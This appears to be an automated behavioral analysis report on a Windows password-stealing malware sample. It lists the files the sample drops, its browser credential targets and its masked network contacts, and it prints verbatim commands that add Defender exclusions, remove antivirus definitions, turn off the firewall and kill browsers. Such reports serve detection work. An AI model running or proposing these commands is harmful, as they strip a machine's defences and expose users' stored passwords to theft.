Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Try { Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\WindowsSubVolume' } Catch {}"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Try { Add-MpPreference -ExclusionPath '<Full path to file>' } Catch {}"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Try { Add-MpPreference -ExclusionPath '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup' } Catch {}"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Try { Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup' } Catch {}"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Try { Add-MpPreference -ExclusionPath 'C:\\' } Catch {}"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\WindowsSubVolume\WindowsUpdater.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsUpdater.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '%APPDATA%\WindowsUpdater.exe'
Executes the following
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
Launches a large number of processes
Reads files which store third party applications passwords
- %APPDATA%\opera software\opera stable\login data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
Modifies file system
Creates the following files
- %TEMP%\_mei43682\vcruntime140.dll
- %TEMP%\_mei43682\_brotli.cp310-win_amd64.pyd
- %TEMP%\_mei43682\_bz2.pyd
- %TEMP%\_mei43682\_cffi_backend.cp310-win_amd64.pyd
- %TEMP%\_mei43682\_ctypes.pyd
- %TEMP%\_mei43682\_decimal.pyd
- %TEMP%\_mei43682\_hashlib.pyd
- %TEMP%\_mei43682\_lzma.pyd
- %TEMP%\_mei43682\_queue.pyd
- %TEMP%\_mei43682\_socket.pyd
- %TEMP%\_mei43682\_ssl.pyd
- %TEMP%\_mei43682\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-fibers-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-fibers-l1-1-1.dll
- %TEMP%\_mei43682\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei43682\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-kernel32-legacy-l1-1-1.dll
- %TEMP%\_mei43682\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei43682\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei43682\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei43682\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-sysinfo-l1-2-0.dll
- %TEMP%\_mei43682\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei43682\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei43682\base_library.zip
- %TEMP%\_mei43682\certifi\cacert.pem
- %TEMP%\_mei43682\cryptography-45.0.5.dist-info\installer
- %TEMP%\_mei43682\cryptography-45.0.5.dist-info\metadata
- %TEMP%\_mei43682\cryptography-45.0.5.dist-info\record
- %TEMP%\_mei43682\cryptography-45.0.5.dist-info\wheel
- %TEMP%\_mei43682\cryptography-45.0.5.dist-info\licenses\license
- %TEMP%\_mei43682\cryptography-45.0.5.dist-info\licenses\license.apache
- %TEMP%\_mei43682\cryptography-45.0.5.dist-info\licenses\license.bsd
- %TEMP%\_mei43682\cryptography\hazmat\bindings\_rust.pyd
- %TEMP%\_mei43682\libcrypto-1_1.dll
- %TEMP%\_mei43682\libffi-7.dll
- %TEMP%\_mei43682\libssl-1_1.dll
- %TEMP%\_mei43682\pyarmor_runtime_000000\pyarmor_runtime.pyd
- %TEMP%\_mei43682\python3.dll
- %TEMP%\_mei43682\python310.dll
- %TEMP%\_mei43682\select.pyd
- %TEMP%\_mei43682\ucrtbase.dll
- %TEMP%\_mei43682\unicodedata.pyd
- nul
- %LOCALAPPDATA%\windowssubvolume\windowsupdater.exe
- %LOCALAPPDATA%\windowssubvolume\windowsservice.exe
- %TEMP%\_mei48362\crypto\cipher\_arc4.pyd
- %TEMP%\_mei48362\crypto\cipher\_salsa20.pyd
- %TEMP%\_mei48362\crypto\cipher\_chacha20.pyd
- %TEMP%\_mei48362\crypto\cipher\_pkcs1_decode.pyd
- %TEMP%\_mei48362\crypto\cipher\_raw_aes.pyd
- %TEMP%\_mei48362\crypto\cipher\_raw_aesni.pyd
- %TEMP%\_mei48362\crypto\cipher\_raw_arc2.pyd
- %TEMP%\_mei48362\crypto\cipher\_raw_blowfish.pyd
- %TEMP%\_mei48362\crypto\cipher\_raw_cast.pyd
- %TEMP%\_mei48362\crypto\cipher\_raw_cbc.pyd
- %TEMP%\_mei48362\crypto\cipher\_raw_cfb.pyd
- %TEMP%\_mei48362\crypto\cipher\_raw_ctr.pyd
- %TEMP%\_mei48362\crypto\cipher\_raw_des.pyd
- %TEMP%\_mei48362\crypto\cipher\_raw_des3.pyd
- %TEMP%\_mei48362\crypto\cipher\_raw_ecb.pyd
- %TEMP%\_mei48362\crypto\cipher\_raw_eksblowfish.pyd
- %TEMP%\_mei48362\crypto\cipher\_raw_ocb.pyd
- %TEMP%\_mei48362\crypto\cipher\_raw_ofb.pyd
- %TEMP%\_mei48362\crypto\hash\_blake2b.pyd
- %TEMP%\_mei48362\crypto\hash\_blake2s.pyd
- %TEMP%\_mei48362\crypto\hash\_md2.pyd
- %TEMP%\_mei48362\crypto\hash\_md4.pyd
- %TEMP%\_mei48362\crypto\hash\_md5.pyd
- %TEMP%\_mei48362\crypto\hash\_ripemd160.pyd
- %TEMP%\_mei48362\crypto\hash\_sha1.pyd
- %TEMP%\_mei48362\crypto\hash\_sha224.pyd
- %TEMP%\_mei48362\crypto\hash\_sha256.pyd
- %TEMP%\_mei48362\crypto\hash\_sha384.pyd
- %TEMP%\_mei48362\crypto\hash\_sha512.pyd
- %TEMP%\_mei48362\crypto\hash\_ghash_clmul.pyd
- %TEMP%\_mei48362\crypto\hash\_ghash_portable.pyd
- %TEMP%\_mei48362\crypto\hash\_keccak.pyd
- %TEMP%\_mei48362\crypto\hash\_poly1305.pyd
- %TEMP%\_mei48362\crypto\math\_modexp.pyd
- %TEMP%\_mei48362\crypto\protocol\_scrypt.pyd
- %TEMP%\_mei48362\crypto\publickey\_ec_ws.pyd
- %TEMP%\_mei48362\crypto\publickey\_ed25519.pyd
- %TEMP%\_mei48362\crypto\publickey\_ed448.pyd
- %TEMP%\_mei48362\crypto\publickey\_x25519.pyd
- %TEMP%\_mei48362\crypto\util\_cpuid_c.pyd
- %TEMP%\_mei48362\crypto\util\_strxor.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_arc4.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_salsa20.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_chacha20.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_pkcs1_decode.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_raw_aes.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_raw_aesni.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_raw_arc2.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_raw_blowfish.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_raw_cast.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_raw_cbc.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_raw_cfb.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_raw_ctr.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_raw_des.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_raw_des3.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_raw_ecb.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_raw_eksblowfish.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_raw_ocb.pyd
- %TEMP%\_mei48362\cryptodome\cipher\_raw_ofb.pyd
- %TEMP%\_mei48362\cryptodome\hash\_blake2b.pyd
- %TEMP%\_mei48362\cryptodome\hash\_blake2s.pyd
- %TEMP%\_mei48362\cryptodome\hash\_md2.pyd
- %TEMP%\_mei48362\cryptodome\hash\_md4.pyd
- %TEMP%\_mei48362\cryptodome\hash\_md5.pyd
- %TEMP%\_mei48362\cryptodome\hash\_ripemd160.pyd
- %TEMP%\_mei48362\cryptodome\hash\_sha1.pyd
- %TEMP%\_mei48362\cryptodome\hash\_sha224.pyd
- %TEMP%\_mei48362\cryptodome\hash\_sha256.pyd
- %TEMP%\_mei48362\cryptodome\hash\_sha384.pyd
- %TEMP%\_mei48362\cryptodome\hash\_sha512.pyd
- %TEMP%\_mei48362\cryptodome\hash\_ghash_clmul.pyd
- %TEMP%\_mei48362\cryptodome\hash\_ghash_portable.pyd
- %TEMP%\_mei48362\cryptodome\hash\_keccak.pyd
- %TEMP%\_mei48362\cryptodome\hash\_poly1305.pyd
- %TEMP%\_mei48362\cryptodome\math\_modexp.pyd
- %TEMP%\_mei48362\cryptodome\protocol\_scrypt.pyd
- %TEMP%\_mei48362\cryptodome\publickey\_curve25519.pyd
- %TEMP%\_mei48362\cryptodome\publickey\_curve448.pyd
- %TEMP%\_mei48362\cryptodome\publickey\_ec_ws.pyd
- %TEMP%\_mei48362\cryptodome\publickey\_ed25519.pyd
- %TEMP%\_mei48362\cryptodome\publickey\_ed448.pyd
- %TEMP%\_mei48362\cryptodome\util\_cpuid_c.pyd
- %TEMP%\_mei48362\cryptodome\util\_strxor.pyd
- %TEMP%\_mei48362\markupsafe-3.0.2.dist-info\installer
- %TEMP%\_mei48362\markupsafe-3.0.2.dist-info\license.txt
- %TEMP%\_mei48362\markupsafe-3.0.2.dist-info\metadata
- %TEMP%\_mei48362\markupsafe-3.0.2.dist-info\record
- %TEMP%\_mei48362\markupsafe-3.0.2.dist-info\wheel
- %TEMP%\_mei48362\markupsafe-3.0.2.dist-info\top_level.txt
- %TEMP%\_mei48362\pythonwin\mfc140u.dll
- %TEMP%\_mei48362\pythonwin\win32ui.pyd
- %TEMP%\_mei48362\vcruntime140.dll
- %TEMP%\_mei48362\_asyncio.pyd
- %TEMP%\_mei48362\_brotli.cp310-win_amd64.pyd
- %TEMP%\_mei48362\_bz2.pyd
- %TEMP%\_mei48362\_cffi_backend.cp310-win_amd64.pyd
- %TEMP%\_mei48362\_ctypes.pyd
- %TEMP%\_mei48362\_decimal.pyd
- %TEMP%\_mei48362\_hashlib.pyd
- %TEMP%\_mei48362\_lzma.pyd
- %TEMP%\_mei48362\_multiprocessing.pyd
- %TEMP%\_mei48362\_overlapped.pyd
- %TEMP%\_mei48362\_queue.pyd
- %TEMP%\_mei48362\_socket.pyd
- %TEMP%\_mei48362\_sqlite3.pyd
- %TEMP%\_mei48362\_ssl.pyd
- %TEMP%\_mei48362\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-fibers-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-fibers-l1-1-1.dll
- %TEMP%\_mei48362\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei48362\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-kernel32-legacy-l1-1-1.dll
- %TEMP%\_mei48362\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei48362\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei48362\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei48362\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-sysinfo-l1-2-0.dll
- %TEMP%\_mei48362\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-crt-multibyte-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei48362\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei48362\base_library.zip
- %TEMP%\_mei48362\certifi\cacert.pem
- %TEMP%\_mei48362\cryptography-45.0.5.dist-info\installer
- %TEMP%\_mei48362\cryptography-45.0.5.dist-info\metadata
- %TEMP%\_mei48362\cryptography-45.0.5.dist-info\record
- %TEMP%\_mei48362\cryptography-45.0.5.dist-info\wheel
- %TEMP%\_mei48362\cryptography-45.0.5.dist-info\licenses\license
- %TEMP%\_mei48362\cryptography-45.0.5.dist-info\licenses\license.apache
- %TEMP%\_mei48362\cryptography-45.0.5.dist-info\licenses\license.bsd
- %TEMP%\_mei48362\cryptography\hazmat\bindings\_rust.pyd
- %TEMP%\_mei48362\importlib_metadata-8.7.0.dist-info\installer
- %TEMP%\_mei48362\importlib_metadata-8.7.0.dist-info\metadata
- %TEMP%\_mei48362\importlib_metadata-8.7.0.dist-info\record
- %TEMP%\_mei48362\importlib_metadata-8.7.0.dist-info\wheel
- %TEMP%\_mei48362\importlib_metadata-8.7.0.dist-info\licenses\license
- %TEMP%\_mei48362\importlib_metadata-8.7.0.dist-info\top_level.txt
- %TEMP%\_mei48362\libcrypto-1_1.dll
- %TEMP%\_mei48362\libffi-7.dll
- %TEMP%\_mei48362\libssl-1_1.dll
- %TEMP%\_mei48362\markupsafe\_speedups.cp310-win_amd64.pyd
- %TEMP%\_mei48362\pyexpat.pyd
- %TEMP%\_mei48362\pyreadline3-3.5.4.dist-info\installer
- %TEMP%\_mei48362\pyreadline3-3.5.4.dist-info\license.md
- %TEMP%\_mei48362\pyreadline3-3.5.4.dist-info\metadata
- %TEMP%\_mei48362\pyreadline3-3.5.4.dist-info\record
- %TEMP%\_mei48362\pyreadline3-3.5.4.dist-info\wheel
- %TEMP%\_mei48362\pyreadline3-3.5.4.dist-info\top_level.txt
- %TEMP%\_mei48362\python3.dll
- %TEMP%\_mei48362\python310.dll
- %TEMP%\_mei48362\pywin32_system32\pythoncom310.dll
- %TEMP%\_mei48362\pywin32_system32\pywintypes310.dll
- %TEMP%\_mei48362\select.pyd
- %TEMP%\_mei48362\setuptools-65.5.0.dist-info\installer
- %TEMP%\_mei48362\setuptools-65.5.0.dist-info\license
- %TEMP%\_mei48362\setuptools-65.5.0.dist-info\metadata
- %TEMP%\_mei48362\setuptools-65.5.0.dist-info\record
- %TEMP%\_mei48362\setuptools-65.5.0.dist-info\wheel
- %TEMP%\_mei48362\setuptools-65.5.0.dist-info\entry_points.txt
- %TEMP%\_mei48362\setuptools-65.5.0.dist-info\top_level.txt
- %TEMP%\_mei48362\sqlite3.dll
- %TEMP%\_mei48362\ucrtbase.dll
- %TEMP%\_mei48362\unicodedata.pyd
- %TEMP%\_mei48362\wheel-0.45.1.dist-info\installer
- %TEMP%\_mei48362\wheel-0.45.1.dist-info\license.txt
- %TEMP%\_mei48362\wheel-0.45.1.dist-info\metadata
- %TEMP%\_mei48362\wheel-0.45.1.dist-info\record
- %TEMP%\_mei48362\wheel-0.45.1.dist-info\wheel
- %TEMP%\_mei48362\wheel-0.45.1.dist-info\entry_points.txt
- %TEMP%\_mei48362\win32\_win32sysloader.pyd
- %TEMP%\_mei48362\win32\win32api.pyd
- %TEMP%\_mei48362\win32\win32evtlog.pyd
- %TEMP%\_mei48362\win32\win32trace.pyd
- %TEMP%\_mei48362\win32com\shell\shell.pyd
- %LOCALAPPDATA%\tempwpprfuncgg.db
- %LOCALAPPDATA%\tempwphjijluwj.db
- %LOCALAPPDATA%\tempwpolxilhot.db
- %TEMP%\wppassw.txt
- %LOCALAPPDATA%\tempwpdclrlsmd.db
- %TEMP%\wpautofill.txt
- %LOCALAPPDATA%\tempwpvdliptee.db-shm
Network activity
Connects to
- 'gi##ub.com':443
- 're#########ets.githubusercontent.com':443
- 'ip##pi.com':80
TCP
HTTP GET requests
- http://ip##pi.com/line/?fi############
Other
- 'gi##ub.com':443
- 're#########ets.githubusercontent.com':443
UDP
- DNS ASK gi##ub.com
- DNS ASK re#########ets.githubusercontent.com
- DNS ASK ip##pi.com
Miscellaneous
Creates and executes the following
- '%LOCALAPPDATA%\windowssubvolume\windowsupdater.exe'
- '%LOCALAPPDATA%\windowssubvolume\windowsservice.exe'
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /c "ver"
- '<SYSTEM32>\cmd.exe' /c "C:\\Program Files\\Windows Defender\\MpCmdRun.exe -RemoveDefinitions -All"
- '<SYSTEM32>\cmd.exe' /c "powershell "netsh advfirewall set allprofiles state off" "
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im opera.exe /t /f >nul 2>&1"
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im Chrome.exe /t /f >nul 2>&1"
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im brave.exe /t /f >nul 2>&1"
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im yandex.exe /t /f >nul 2>&1"
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im edge.exe /t /f >nul 2>&1"
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im p /t /f >nul 2>&1"
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im h /t /f >nul 2>&1"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "netsh advfirewall set allprofiles state off"
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im d /t /f >nul 2>&1"
- '<SYSTEM32>\cmd.exe' /c "taskkill /im firefox.exe /t /f >nul 2>&1"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\WindowsSubVolume\WindowsUpdater.exe'' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsUpdater.exe'' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "ver"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath '%APPDATA%\WindowsUpdater.exe'' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "C:\\Program Files\\Windows Defender\\MpCmdRun.exe -RemoveDefinitions -All"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell "netsh advfirewall set allprofiles state off" "' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im opera.exe /t /f >nul 2>&1"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im Chrome.exe /t /f >nul 2>&1"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im brave.exe /t /f >nul 2>&1"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im yandex.exe /t /f >nul 2>&1"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im edge.exe /t /f >nul 2>&1"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im p /t /f >nul 2>&1"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im h /t /f >nul 2>&1"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "ta"sk"ki"ll /im d /t /f >nul 2>&1"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "taskkill /im firefox.exe /t /f >nul 2>&1"' (with hidden window)
